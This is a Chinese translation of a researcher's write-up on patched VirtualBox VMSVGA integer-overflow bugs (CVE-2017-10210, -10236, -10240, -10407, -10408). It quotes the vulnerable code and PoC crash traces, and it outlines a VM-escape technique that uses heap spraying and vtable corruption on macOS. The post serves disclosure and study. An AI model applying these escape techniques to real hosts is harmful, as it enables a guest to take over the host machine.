VirtualBox VMSVGA多个虚拟机逃逸漏洞分析

栏目: 服务器 · 发布时间: 5年前

内容简介:概述VirtualBox模拟VMware虚拟SVGA设备,其接口的详细信息和编程模型可从网络上公开获取。另外,在《VMware托管I/O架构上的GPU虚拟化》论文中,对VMware SVGA设备架构进行了很好的描述。此外,Kostya Kortchinsky发布的《CLOUDBURST – Vmware Guest到Host逃逸的故事》一文中,详细介绍了如何利用VMware SVGA设备中的漏洞进行VM逃逸。Oracle在2015年一月的重要补丁更新中,修复了VMSVGA设备所存在的一系列问题(CVE-2

概述

VirtualBox模拟VMware虚拟SVGA设备,其接口的详细信息和编程模型可从网络上公开获取。另外,在《VMware托管I/O架构上的GPU虚拟化》论文中,对VMware SVGA设备架构进行了很好的描述。此外,Kostya Kortchinsky发布的《CLOUDBURST – Vmware Guest到Host逃逸的故事》一文中,详细介绍了如何利用VMware SVGA设备中的漏洞进行VM逃逸。

Oracle在2015年一月的重要补丁更新中,修复了VMSVGA设备所存在的一系列问题(CVE-2014-6595、CVE-2014-6588、CVE-2014-6589、CVE-2014-6590、CVE-2015-0427)。在文章《通过硬件仿真攻击虚拟机管理程序》中,提供了有关VirtualBox中VMSVGA漏洞的一些细节。

值得注意的是,由于VMSVGA设备在默认情况下未启用,所以受影响的用户可能非常有限。但是,用户可以根据VBoxManage文档中的说明启用该功能。

VBoxManage modifyvm VMNAME --graphicscontroller vmsvga

Oracle在2017年7月和2017年10月的重要补丁更新中,修复了VMSVGA漏洞CVE-2017-10210、CVE-2017-10236、CVE-2017-10239、CVE-2017-10240、CVE-2017-10392、CVE-2017-10407和CVE-2017-10408,这些漏洞是由我发现并报告的。另外,来自360 Gear团队的李强也同时独立发现了CVE-2017-10210、CVE-2017-10236、CVE-2017-10239和CVE-2017-10240这四个漏洞。在这篇博客文章中,详细介绍了其中的一些问题,并演示如何利用这些漏洞实现虚拟机逃逸。

我们在macOS环境的VirtualBox 5.1.22版本中进行了分析。Linux版本的VirtualBox不支持VMSVGA 3D功能,这一功能仅在Windows和macOS中可用。

vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中验证validating face[0].numMipLevel过程存在整数溢出漏洞(CVE-2017-10210)

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
                          SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
                          SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
    . . .
    /* cFaces must be 6 for a cubemap and 1 otherwise. */
    AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER);
    AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER);
    . . .
}

在使用“surfaceflag” SVGA3D_SURFACE_CUBEMAP时,“cFaces”值可以设置为6。然后,可以将“face[0].numMipLevels”设置为cFaces * face[0].numMipLevels wraps的计算结果。“cMipLevels”取决于为SVGA_3D_CMD_SURFACE_DEFINE命令传递的SVGA3dSize结构的数量,例如2 == 6 * 0x2aaaaaab。

用于其它多个命令中的face[0].numMipLevels值是导致内存损坏的元凶。在CVE-2017-10210的PoC中,使用了SVGA_3D_CMD_SURFACE_DESTROY命令来演示内存损坏,最终导致free()无效。

int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid)
{
. . .
        if (pSurface->pMipmapLevels)
        {
            for (uint32_t face=0; face < pSurface->cFaces; face++)
            {
                for (uint32_t i=0; i < pSurface->faces[face].numMipLevels; i++)
                {
                    uint32_t idx = i + face * pSurface->faces[0].numMipLevels;
                    if (pSurface->pMipmapLevels[idx].pSurfaceData)
                        RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData);
                }
            }
            RTMemFree(pSurface->pMipmapLevels);
        }
. . .
}
<a href="/cdn-cgi/l/email-protection" data-cfemail="a8dacdc6c7dac7cacddadce8ddcaddc6dcdd">[email protected]</a>:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc
[sudo] password for renorobert:
poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE...
poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY...
[lldbinit] process attach --pid 57984
[-] warning: get_frame() failed. Is the target binary started?
Process 57984 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.
 
Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 57984 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x000070000E657000  RBP: 0x000070000E656CC0  RSP: 0x000070000E656C88  o d I t s z a P c
  RDI: 0x000000000000DB0B  RSI: 0x0000000000000006  RDX: 0x0000000000000000  RCX: 0x000070000E656C88  RIP: 0x00007FFF5F9B7B66
  R8:  0x0000000000000000  R9:  0x0000000000000000  R10: 0x0000000000000000  R11: 0x0000000000000206  R12: 0x000000000000DB0B
  R13: 0x0000000000000004  R14: 0x0000000000000006  R15: 0x000000000000002D
  CS:  0007  FS: 0000  GS: 0000                                              Jump is taken (c = 0)
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
__pthread_kill @ libsystem_kernel.dylib:
    0x7fff5f9b7b66: 73 08           jae    0x7fff5f9b7b70            ; <+20>
    0x7fff5f9b7b68: 48 89 c7        mov    rdi, rax
    0x7fff5f9b7b6b: e9 79 6f ff ff  jmp    0x7fff5f9aeae9            ; cerror_nocancel
    0x7fff5f9b7b70: c3              ret   
    0x7fff5f9b7b71: 90              nop   
    0x7fff5f9b7b72: 90              nop   
    0x7fff5f9b7b73: 90              nop   
 
__pthread_markcancel @ libsystem_kernel.dylib:
    0x7fff5f9b7b74: b8 4c 01 00 02  mov    eax, 0x200014c
-----------------------------------------------------------------------------------------------------------------------------
 
Process 57984 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
    frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
Target 0: (VirtualBoxVM) stopped.
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
  * frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
    frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333
    frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127
    frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521
    frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305
    frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682
    frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
    frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
    frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
    frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
    frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
    frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]

vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中未验证paMipLevelSizes导致整数溢出漏洞(CVE-2017-10236)

    /* Allocate buffer to hold the surface data until we can move it into a D3D object */
    for (uint32_t i = 0; i < cMipLevels; ++i)
    {
        PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
        . . .
        pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
        pMipmapLevel->cbSurface      = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
        pMipmapLevel->pSurfaceData   = RTMemAllocZ(pMipmapLevel->cbSurface);
        AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
    }

在这里,由于“paMipLevelSizes”值完全由Guest控制,因此“cbSurfacePitch”和“cbSurface”的计算可能会产生溢出。由于“cbSurface”的计算存在问题,进一步导致RTMemAllocZ最终分配的缓冲区大小比实际需要的要少。在其他SVGA命令中使用“pSurfaceData”期间,可能会发生越界读/写的情况。针对该漏洞提供的PoC仅演示了无效分配,可以在调试器中观察到这一点,不会触发任何崩溃。但是,这一漏洞随后将会在完整的VM逃逸漏洞利用中使用到。

vmsvga3dSurfaceDMA(DevVGA-SVGA3d.cpp)中多个整数溢出漏洞(CVE-2017-10240和CVE-2017-10408)

int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
                       uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
       for (unsigned i = 0; i < cCopyBoxes; i++)
        {
            . . .
            if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
                paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
            if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
                paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
            if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
                paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;
 
            if (    !paBoxes[i].w
                ||  !paBoxes[i].h
                ||  !paBoxes[i].d
                ||   paBoxes[i].x > pMipLevel->size.width
                ||   paBoxes[i].y > pMipLevel->size.height
                ||   paBoxes[i].z > pMipLevel->size.depth)
            {
                . . .
                continue;
            }
            uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
            AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
}

在这一漏洞中,首先对于“pMipLevel”的“paBoxes”验证可能会发生溢出,从而导致绕过问题。由于整数溢出,因此也可以绕过针对“pMipLevel-> cbSurface”的“uDestOffset”验证。我们在多个位置都发现了类似的代码模式。“uDestOffset”用于在调用vmsvgaGMRTransfer期间计算“pBufferStart”参数,所以验证失效将导致SVGA3dTransferType – SVGA3D_WRITE_HOST_VRAM或SVGA3D_READ_HOST_VRAM的值所对应位置发生越界读取或越界写入。该漏洞的PoC将访问内存中pMipLevel->pSurfaceData偏移约4GB的位置,从而导致崩溃。可以通过堆喷射并分配可访问内存区域的方法来利用这一漏洞。

<a href="/cdn-cgi/l/email-protection" data-cfemail="d6a4b3b8b9a4b9b4b3a4a296a3b4a3b8a2a3">[email protected]</a>:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make
gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess
<a href="/cdn-cgi/l/email-protection" data-cfemail="384a5d56574a575a5d4a4c784d5a4d564c4d">[email protected]</a>:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc
[sudo] password for renorobert:
[lldbinit] process attach --pid 14518
[-] warning: get_frame() failed. Is the target binary started?
Process 14518 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.
 
Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 14518 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x00007F976656CEB8  RBX: 0x0000000111C1C000  RBP: 0x00007000066CAC10  RSP: 0x00007000066CAC10  o d I t s Z a P c
  RDI: 0x00007F976656CEB8  RSI: 0x0000000111C1C000  RDX: 0x0000000000000000  RCX: 0x4141414141414141  RIP: 0x00007FFF5FB78FD0
  R8:  0x4141414141414141  R9:  0x0000000000000000  R10: 0x00000000FFFFFFFE  R11: 0x00007F9654950EB8  R12: 0x0000000000000000
  R13: 0x0000000000000001  R14: 0x00007F976656CEB8  R15: 0x0000000000000001
  CS:  002B  FS: 0000  GS: 0000                                             
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
_platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib:
    0x7fff5fb78fd0: 48 89 0f     mov    qword ptr [rdi], rcx
    0x7fff5fb78fd3: 4c 89 04 17  mov    qword ptr [rdi + rdx], r8
    0x7fff5fb78fd7: 5d           pop    rbp
    0x7fff5fb78fd8: c3           ret   
    0x7fff5fb78fd9: 48 83 c2 08  add    rdx, 0x8
    0x7fff5fb78fdd: 74 25        je     0x7fff5fb79004            ; <+228>
    0x7fff5fb78fdf: 4d 31 c0     xor    r8, r8
    0x7fff5fb78fe2: 42 8a 0c 06  mov    cl, byte ptr [rsi + r8]
-----------------------------------------------------------------------------------------------------------------------------
 
Process 14518 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
    frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
Target 0: (VirtualBoxVM) stopped.
[lldbinit] vmmap -a 0x00007F976656CEB8
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
  * frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
    frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671
    frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861
    frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897
    frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
    frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
    frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
    frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
    frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
    frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]

vmsvgaGMRTransfer(DevVGA-SVGA.cpp)整数溢出漏洞(CVE-2017-10407)

int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch,
                      SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight)
{
. . .
        AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth <= pThis->vram_size,
                        ("src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#x\n",
                         src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size),
                        VERR_INVALID_PARAMETER);
 
        uint8_t *pSrc  = pThis->CTX_SUFF(vram_ptr) + offSrc;
. . .
}

其中,“offSrc”验证可能会发生溢出,并且可以绕过对“vram_size”的检查,这将会导致与VRAM相关的越界读取或越界写入。vmsvgaGMRTransfer可以由多个SVGA命令使用,例如SVGA_CMD_BLIT_GMRFB_TO_SCREEN、SVGA_3D_CMD_SURFACE_DMA、SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN等。

在SVGA_CMD_BLIT_GMRFB_TO_SCREEN中,针对vram_size验证“offsetDest”。因此,写入的位置只能从VRAM缓冲区内开始。但是,“offsetSource”最终可以在受控制的偏移量处指向超出VRAM缓冲区的位置,从而可靠地提供信息泄露漏洞。

case SVGA_CMD_BLIT_GMRFB_TO_SCREEN:
            {
 . . .
                unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y;
                unsigned offsetDest   = (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top;
                unsigned cbCopyWidth  = (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8;
 
                AssertBreak(offsetDest < pThis->vram_size);
 
                rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);

该漏洞提供的PoC使用SVGA_CMD_BLIT_GMRFB_TO_SCREEN和SVGA_3D_CMD_SURFACE_DMA演示了相对于VRAM的OOB访问。

漏洞利用

在上述的多个漏洞中,提供了许多组合和原语。我选择使用vmsvga3dSurfaceDefine和vmsvga3dSurfaceDMA中的漏洞来演示完整的VM逃逸:

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
                          SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
                          SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
    /* Allocate buffer to hold the surface data until we can move it into a D3D object */
    for (uint32_t i = 0; i < cMipLevels; ++i)
    {
        PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
        . . .
        pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
        pMipmapLevel->cbSurface      = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
        pMipmapLevel->pSurfaceData   = RTMemAllocZ(pMipmapLevel->cbSurface);
        AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
    }
 . . .
}

vmsvga3dSurfaceDefine()中存在的漏洞,允许为pMipmapLevel->size.width、pMipmapLevel->size.height和pMipmapLevel->size.depth设置非常大的值,但最终只需要分配所需大小的堆块。这一点对于进一步利用vmsvga3dSurfaceDMA()中的整数溢出漏洞来说非常有帮助。

int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
                       uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
        for (unsigned i = 0; i < cCopyBoxes; i++)   
        {
            . . . 
            /* Apparently we're supposed to clip it (gmr test sample) */
            if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
                paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
            if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
                paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
            if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
                paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;
 
            if (    !paBoxes[i].w
                ||  !paBoxes[i].h
                ||  !paBoxes[i].d
                ||   paBoxes[i].x > pMipLevel->size.width
                ||   paBoxes[i].y > pMipLevel->size.height
                ||   paBoxes[i].z > pMipLevel->size.depth)
            {
                . . .
                continue;
            }
. . .
            uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
            AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
            rc = vmsvgaGMRTransfer(pThis,
                                   transfer,
. . .
                                   paBoxes[i].w * pSurface->cbBlock,
                                   paBoxes[i].d * paBoxes[i].h);
. . .
}

由于pMipLevel的宽度、高度和深度在vmsvga3dSurfaceDefine()中被设置为非常大的值,因此可以绕过涉及paBoxes的第一次检查。后续,这些值将用于计算“uDestOffset”,可以设置为任意值。

uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;

但是,其后有一个验证:

            AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);

举例来说:

uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) <= pMipLevel->cbSurface

在这里,可以将较高值设置为uDestOffset或(paBoxes[i].w * pSurface->cbBlock)或(paBoxes[i].h * paBoxes[i].d)来绕过验证。在vmsvgaGMRTransfer()中,(paBoxes[i].w * pSurface->cbBlock)和(paBoxes[i].h * paBoxes[i].d)用于计算memcpy()调用的大小参数。为了使大小调整为一个合理的值,我们将uDestOffset设置为一个较大的值,从而允许读取/写入一个距离表面分配约4GB的偏移量。

为了利用这个漏洞,有两个问题需要解决:

1、从表面分配偏移约4GB的内存;

2、在这个巨大偏移量的分配内存中,应该存在指针损坏,从而导致代码执行。

在macOS中,共有三种类型的分配: Tiny、Small和Large。Tiny堆分配的地址范围是0x00007fxxxxx00000,而Large分配则占用另一个地址范围0x00000001xxxxx000。上述二者堆分配中的任何一个都能够进行漏洞利用。

我选择的是Tiny类型堆分配,主要因为,我知道Tiny类型的分配中具有指向vtable和其他内存分配的指针,而这样的指针可能会由于代码执行而被破坏。但是,使用Tiny类型的分配来喷射(Spray)整个4GB内存是一个非常缓慢的过程。macOS支持最大127KB的Small分配。因此,我们的思路是尽可能多地分配Small块,以加快堆喷射的进度,并减少Tiny块堆喷射的数量。

分配Tiny块

对于Tiny块,我将目标放在针对HGCM(Host-Guest通信管理器)执行的分配上。关于HGCM的详细信息,可以参考: https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf

针对这个漏洞,我习惯使用HGCM连接对象,然后进行喷射。要对HGCM连接进行初始化,需要使用VMM虚拟PCI设备进行。设备的BAR0保存用于HGCM通信的I/O端口地址。无论何时启动HGCM连接,都会在内存中分配大小为72字节的HGCMClient对象,并返回客户端ID。下面是HGCMClient对象的示例:

typedef struct _AVLULNodeCore
{
    AVLULKEY                Key;        /** Key value. */
    struct _AVLULNodeCore  *pLeft;      /** Pointer to left leaf node. */
    struct _AVLULNodeCore  *pRight;     /** Pointer to right leaf node. */
    unsigned char           uchHeight;  /** Height of this tree: max(height(left), height(right)) + 1 */
} AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE;
 
typedef struct _ObjectAVLCore
{
    AVLULNODECORE AvlCore;
    void *pSelf;                        // type HGCMObject
} ObjectAVLCore;
 
struct HGCMClient {
        void *vptr_HGCMObject;
        uint32_t m_cRefs;
        uint32_t m_enmObjType;          // HGCMOBJ_TYPE enum
        ObjectAVLCore m_core;
        void *pService;                 // type HGCMService
        void *pvData;
        uint64_t padding;
} HGCMClient;

HGCMClient的创建和分配由src/VBox/Main/src-client/HGCM.cpp中的HGCMService::CreateAndConnectClient来完成。这些客户端对象使用AVL树进行维护,其中的节点包含客户端ID,并且还包含指向对象本身的指针。在漏洞利用期间,我们需要避免破坏AVL树的元数据,以防止在查找或插入AVL树节点期间发生任何崩溃。此外,我们可能会损坏HGCMClient的vtable,以获得RIP控制。

HGCMClient对象的删除发生在HGCM断开连接期间,由HGCMService::DisconnectClient进行处理,其中使用到了损坏的vtable。

int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService)
{
. . .
            HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG);
            AssertRelease(pMsg);
 
            pMsg->u32ClientId = u32ClientId;
 
            hgcmObjDereference(pMsg);  // use of corrupted vtable on deletion
. . .
}

分配Small块

为了能更高效地填充4GB,与Tiny块相比,Small块显然是更好的选择。SVGA_3D_CMD_SURFACE_DEFINE命令可用于分配任意大小的块。

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
                          SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
                          SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
    AssertReturn(sid < SVGA3D_MAX_SURFACE_IDS, VERR_INVALID_PARAMETER);
. . .
    pSurface = pState->papSurfaces[sid];
 
    /* If one already exists with this id, then destroy it now. */
    if (pSurface->id != SVGA3D_INVALID_ID)
        vmsvga3dSurfaceDestroy(pThis, sid);
. . .
}

vmsvga3dSurfaceDefine()允许最多SVGA3D_MAX_SURFACE_IDS (32 * 1024)个唯一的表面分配。针对大小为127KB的表面,这样的限制足以让我们填充约4GB。由于页是分配给堆的较低地址,因此最开始需要分配HGCMClient对象,然后才是表面分配。在进行堆喷射后,内存布局如下图所示:

VirtualBox VMSVGA多个虚拟机逃逸漏洞分析

喷射前的内存布局

Stack                  00007000060c1000-0000700006143000           thread 29
MALLOC_TINY            00007ff16b400000-00007ff16b500000 [ 1024K   684K   684K   316K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16b500000-00007ff16b700000 [ 2048K   792K   792K  1256K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16b700000-00007ff16b800000 [ 1024K   840K   840K   184K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16b800000-00007ff16c06d000 [ 8628K  1332K  1332K  2160K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16c06d000-00007ff16c06e000 [    4K     4K     4K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16c06e000-00007ff16d800000 [ 23.6M  2600K  2600K  4288K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16d800000-00007ff16d900000 [ 1024K   484K   484K   540K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16d900000-00007ff16da00000 [ 1024K   364K   364K   660K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16da00000-00007ff16dc00000 [ 2048K    20K    20K    12K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff16dc00000-00007ff16de00000 [ 2048K    20K    20K    24K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff16de00000-00007ff16df00000 [ 1024K     8K     8K     8K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff16df00000-00007ff16e000000 [ 1024K   448K   448K   492K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16e000000-00007ff16e800000 [ 8192K     4K     4K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_SMALL           00007ff16e800000-00007ff16f000000 [ 8192K     8K     8K   240K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_SMALL (empty)   00007ff16f000000-00007ff170000000 [ 16.0M     8K     8K   172K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff170000000-00007ff170100000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170100000-00007ff170200000 [ 1024K   368K   368K    60K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY (empty)    00007ff170200000-00007ff170300000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170300000-00007ff170400000 [ 1024K     4K     4K    20K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff170400000-00007ff170600000 [ 2048K    84K    84K   948K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff170800000-00007ff171000000 [ 8192K     4K     4K    96K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_SMALL           00007ff171000000-00007ff171800000 [ 8192K     4K     4K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
STACK GUARD            00007ffee50b0000-00007ffee88b0000 [ 56.0M     0K     0K     0K] ---/rwx SM=NUL          stack guard for thread 0

喷射后的内存布局

Stack                  000070000624a000-00007000062cc000 [  520K    12K    12K     0K] rw-/rwx SM=PRV          thread 35
MALLOC_SMALL           00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff08b400000-00007ff08b500000 [ 1024K   244K   244K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
